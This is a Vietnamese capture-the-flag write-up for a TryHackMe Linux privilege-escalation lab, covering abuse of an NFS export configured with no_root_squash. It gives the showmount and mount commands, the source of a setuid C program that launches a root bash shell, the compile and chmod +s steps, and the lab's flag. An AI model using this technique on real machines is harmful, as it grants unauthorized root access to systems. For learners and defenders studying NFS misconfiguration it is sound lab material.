Description

Linux Privilege Escalation - NFS

Tận dụng việc cấu hình NFS sai để leo thang đặc quyền nhằm đọc flag.

Techniques

Cấu hình của NFS (Network File Sharing) được lưu ở trong file /etc/exports và có thể được khai thác nếu không được thiết lập hợp lý.

Nội dung của file có thể có dạng như sau:

Nếu option no_root_squash tồn tại ở trong một thư mục nào đó. Chúng ta có thể “mount” thư mục đó với một attacking machine.

Bước đầu, ta cần liệt kê danh sách các thư mục có thể mount (hay nói đơn giản là các shared folder) của target machine:

showmount -e IP

Sau đó, ta tiến hành mount thư mục có option no_root_squash (giả sử /backup) vào thư mục nào đó của attacking machine:

mkdir /tmp/attackingmachine
mount -o rw IP:/backup /tmp/attackingmachine

Sau đó ta tạo ra một tập tin C để chạy /bin/bash:

int main()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
	return 0;
}

Biên dịch và set cho nó bit s1.

Ta không cần phải transfer file sang target machine vì chúng ta đang làm việc ở trên shared folder.

Thực thi file đã biên dịch và ta có quyền root.

Approach

Liệt kê các shared folder của target machine thì thu được:

/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

Tạo thư mục tạm và mount thư mục /home/ubuntu/sharedfolder vào đó:

┌──(aleister㉿DESKTOP)-[~/TryHackMe/linux_priv_esca/temp]
└─$ sudo mount -o rw 10.10.72.208:/home/ubuntu/sharedfolder .

Tạo exploit bằng code C (chú ý sử dụng quyền root để tạo).

Sau đó biên dịch cũng như là gán bit s cho exploit vừa tạo:

sudo gcc exploit.c -o exploit -static
sudo chmod +s exploit

Khi dùng lệnh ls trong thư mục /home/ubuntu/sharedfolder của target machine thì ta sẽ thấy xuất hiện tập tin exploit.cexploit đã tạo ở trên.

Thực thi exploit ở trên target machine và ta sẽ có quyền root.

Note

Sử dụng option static vì bị lỗi sau ở target machine khi thực thi: GLIBC_2.34 not found.

Truy cập đến /home/matt/flag7.txt để đọc flag.

Flag

Success

THM-89384012

Footnotes

  1. Xem thêm Linux Privilege Escalation - SUID.